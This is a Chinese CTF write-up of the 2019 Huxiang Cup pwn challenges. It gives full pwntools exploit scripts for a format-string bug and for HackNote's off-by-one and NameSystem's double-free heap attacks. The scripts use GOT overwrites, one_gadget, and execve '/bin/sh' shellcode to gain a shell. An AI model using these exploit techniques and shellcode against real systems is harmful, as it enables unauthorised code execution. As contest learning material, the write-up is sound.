2019湖湘杯

练习赛

一共两个pwn,第一个没啥说的,第二个是个格式化,但是由于格式化之前把握不深导致菜的一批,很感谢ditto师傅能够指点一波,看了师傅的博客,受益匪浅。
第一个尴尬点:

我在泄露的时候泄露出了一个(nil)的神奇东西,本来觉得可能是那些限制了,泄露不出来更多了,但是也没看到程序里面啥限制啊,最后知道了这个原来是null,%p是用来泄露指针的,它返回的地址如果是0x0000这样的,就会返回一个nil给你。

第二个尬点:我想着程序也没后门,格式化任意写到底该怎么写呢?也没给libc,自然也没想到one_gadget这个神奇的东西,还是师傅强,通过泄露地址知道这个是ubuntu 1604的,然后直接整个libc出来,然后就有one_gadget了。

第三个,这个如果是我的话,我可能最后会直接劫持printf_got,但是师傅tql,劫持的是printf的返回地址ret,然后劫持到了main函数,同时也劫持了setvbuf函数的got表

然后最后一个就是:我发现用ubuntu 1604本机的libc可以打通,但是用之前编译好的libc2.23打不通,后来问了大师傅才知道,自己编译的跟本地的还是差很多的,gcc版本,环境等都不太一样。
exp:

#coding=utf-8
from pwn import *
exec_binary = "./5c149c66064fa"
libcversion = '2.23'
local = 1
context.binary = exec_binary
context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
    r = process(exec_binary)
    if context.arch == "i386":
        libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
    elif context.arch == "amd64":
        libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
    r = remote("183.129.189.60",10043)
def get_base(r):
    text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
    for key in r.libs():
        if "libc.so.6" in key:
            return text_base,r.libs()[key]
def debug():
    text_base,libc_base = get_base(r)
    break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
    break_point+='''
    b *00000000004006DA
    '''
    gdb.attach(r)
def confirm(address):
    n = globals()
    for key,value in n.items():
        if value == address:
                return success(key+" ==> "+hex(address))
offset = 8
libc = ELF('./libc.so.6')
r.sendline("%6$p%43$p")
stack_addr = int(r.recv(14),16)
confirm(stack_addr)
libc_base = int(r.recv(14),16)-240-libc.symbols['__libc_start_main']
confirm(libc_base)
setvbuf_got = elf.got['setvbuf']
system_addr = libc_base + 0x4526a
payload="%" + str(system_addr&0xffff)+'c'+"%10$hn"
payload=payload.ljust(16,'a')
payload+=p64(setvbuf_got)
#debug()
r.sendline(payload)
payload="%"+str((system_addr>>16)&0xffff)+'c'+"%10$hn"
payload=payload.ljust(16,'a')
payload+=p64(setvbuf_got+2)
#debug()
r.sendline(payload)
ret_addr = stack_addr - 0x210
confirm(ret_addr)
main_addr = 0x0000000000400636
payload = "%" + str(main_addr&0xffff) + 'c'+"%10$hn"
payload=payload.ljust(16,'a')
payload+=p64(ret_addr)
r.sendline(payload)
r.interactive()

复赛

Hackone

首先就是一个off-by-one的漏洞:

如果刚好输入满堆块的内容,这里的strlen就会把下一个堆块的size位也算进来(strlen是遇到’\0’终止,最终长度不包含’\0’),那么两次edit就会造成off-by-one漏洞

我们可以溢出一个字节来修改下一个堆块的size位,从而可以overloping,

#coding=utf-8
from pwn import *
exec_binary = "./HackNote"
libcversion = '2.23'
local = 1
context.binary = exec_binary
context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
    r = process(exec_binary)
    if context.arch == "i386":
        libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
    elif context.arch == "amd64":
        libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
    r = remote("")
def get_base(r):
    text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
    for key in r.libs():
        if "libc.so.6" in key:
            return text_base,r.libs()[key]

def debug(addr):
    text_base,libc_base = get_base(r)
    break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
    break_point+="b *" + str(addr) + "\nc"
    gdb.attach(r,break_point)

def confirm(address):
    n = globals()
    for key,value in n.items():
        if value == address:
            return success(key+" ==> "+hex(address))

def add(size,content):
    r.sendlineafter('-----------------\n','1')
    r.sendlineafter('nput the Size:\n',str(size))
    r.sendafter('he Note:\n',content)

def free(idx):
    r.sendlineafter('-----------------\n','2')
    r.sendlineafter('the Index of Note:\n',str(idx))

def edit(idx,content):
    r.sendlineafter('-----------------\n','3')
    r.sendlineafter('Note\n',str(idx))
    r.sendafter('Input the Note:\n',content)
__malloc_hook = 0x0000000006CB788
fake_chunk_addr = 0x6cb772
add(0x38,'aa\n') #0
add(0x38,'aa\n') #1
add(0x38,'aa\n') #2
add(0x38,'aa\n') #3
add(0x38,'aa\n') #4
edit(0,'a'*0x38)
edit(0,'a'*0x38 + '\x81')
free(1) 
add(0x71,'aa\n') #1
fake_chunk = [
    'a'*0x38,0x41,
    fake_chunk_addr,
]
#gdb.attach(r)
#print flat(fake_chunk)
free(2)
edit(1,flat(fake_chunk)+'\n')
#gdb.attach(r)
add(0x38,'aa\n') #2
payload = 'a' * 6 + p64(__malloc_hook+8) 
payload+='\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'
add(0x38,payload+'\n') #5
r.sendlineafter('-----------------\n','1')
r.sendlineafter("Input the Size:\n",str(10))    
#add(0x38,'aa\n')  #6
r.interactive()

NameSystem

还有一个,这个的漏洞是在于

可以形成double free,比如delete两次18实际上也delete一次19,然后再次delete就可能形成double free,那么就能形成一个指定地址写的操作,再次鸣谢ditto大佬,本来湖湘杯的时候都没看第二题,赛后ditto师傅给了个exp,后来想想还是学习学习,哈哈。

#coding=utf-8
from pwn import *
local = 1
exec_file="./NameSystem"
context.binary=exec_file
context.terminal=["tmux","splitw","-h"]
elf=ELF(exec_file,checksec = False)
if local :
    a=process(exec_file)
    if context.arch == "i386" :
        libc=ELF("/lib/i386-linux-gnu/libc.so.6",checksec = False)
    elif context.arch == "amd64" :
        libc=ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec = False) 
else:
    a=remote("183.129.189.62",16605)

def get_base(a):
    text_base = a.libs()[a._cwd+a.argv[0].strip('.')]
    for key in a.libs():
        if "libc.so.6" in key:
            return text_base,a.libs()[key]
def debug():
    text_base,libc_base=get_base(a)
    script="set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
    script+='''
    b *0x000000000400A56
    b *0x0000000000400B74
    '''
    gdb.attach(a,script)
def fuck(address):
    n = globals()
    for key,value in n.items():
        if value == address:
            return success(key+"  ==>  "+hex(address))
def menu(idx):
    a.sendlineafter("Your choice :\n",str(idx))
def add(size,content):
    menu(1)
    a.sendlineafter("Name Size:",str(size))
    a.sendafter("Name:",content)

def delete(idx):
    menu(3)
    a.sendlineafter("The id you want to delete:",str(idx))

ptr_addr = 0x6020A0
ptr_end = 0x602138
fake_chunk_addr = 0x601ffa
for i in range(15):
    add(0x28,'A\n')
add(0x38,'\n')#15 
add(0x58,'\n')#16 0x603310
add(0x58,'\n')#17 0x0000000000603390
add(0x58,'\n')#18 0x0000000000603400
add(0x58,'\n')#19 0x0000000000603470
delete(0)
delete(19)
delete(17)
delete(17)
add(0x38,'\n')
add(0x38,'\n')
add(0x38,'\n')
delete(0)
delete(19)
delete(17)
delete(17)
add(0x60,'\n')
add(0x60,'\n')
add(0x60,'\n')
delete(0) 
#delete(0)
delete(19)   #这里是为了第三次double free
for i in range(9):
    delete(0)
delete(12-4)
delete(12-4)
add(0x58,p64(fake_chunk_addr)+'\n') #把free劫持为puts
add(0x58,'\n')
add(0x58,'\n')
add(0x58,'A'*6+p64(0x41)+p64(elf.plt["puts"])[:6]+'\n')
fake_chunk_addr = 0x60208d   #在标准输出流上写一个指针指向puts对应的got表得到puts的真实地址。
add(0x60,p64(fake_chunk_addr)+'\n')
add(0x60,'\n')
add(0x60,'\n')
add(0x60,'A'*3+p64(0x602020)[:6]+'\n')
delete(0)
libc_base=u64(a.recvuntil("\n",drop=True)+'\x00\x00')-libc.symbols["puts"]
fuck(libc_base)
fake_chunk_addr = 0x000000000602008
add(0x38,p64(fake_chunk_addr)+'\n')  #把free改成system
add(0x38,'\n')
add(0x38,'/bin/sh\n')
add(0x38,p64(libc_base+libc.symbols["system"])[:6]+'\n')
delete(17)
a.interactive()

最后说一下,这次湖湘杯真是力不从心,打的菜的一批,继续加油吧。


   转载规则


《2019湖湘杯》 时钟 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
2019XMAN冬令营入营赛 2019XMAN冬令营入营赛
2019XMAN入营赛XMAN训练营的题目,还是能学到不少东西的,就拿来看了看。 babyarm这个题目并不难,难在于它是一个arm的架构,所以难以调试,不过从出题人哪里得到一个很好的github项目arm_now,但是我看了看还是没办法用
2020-01-11
下一篇 
2019I春秋答题赛 2019I春秋答题赛
PWN2做出来了两个pwn题目(其中一个是复现出来的。。。。):首先说一个pwn2,这个题目真是让我张了不少知识,不仅理解了tcache和unsorted bin attack还学会怎么patch elf文件的libc和ld链接器,同时学了
2019-11-05
  目录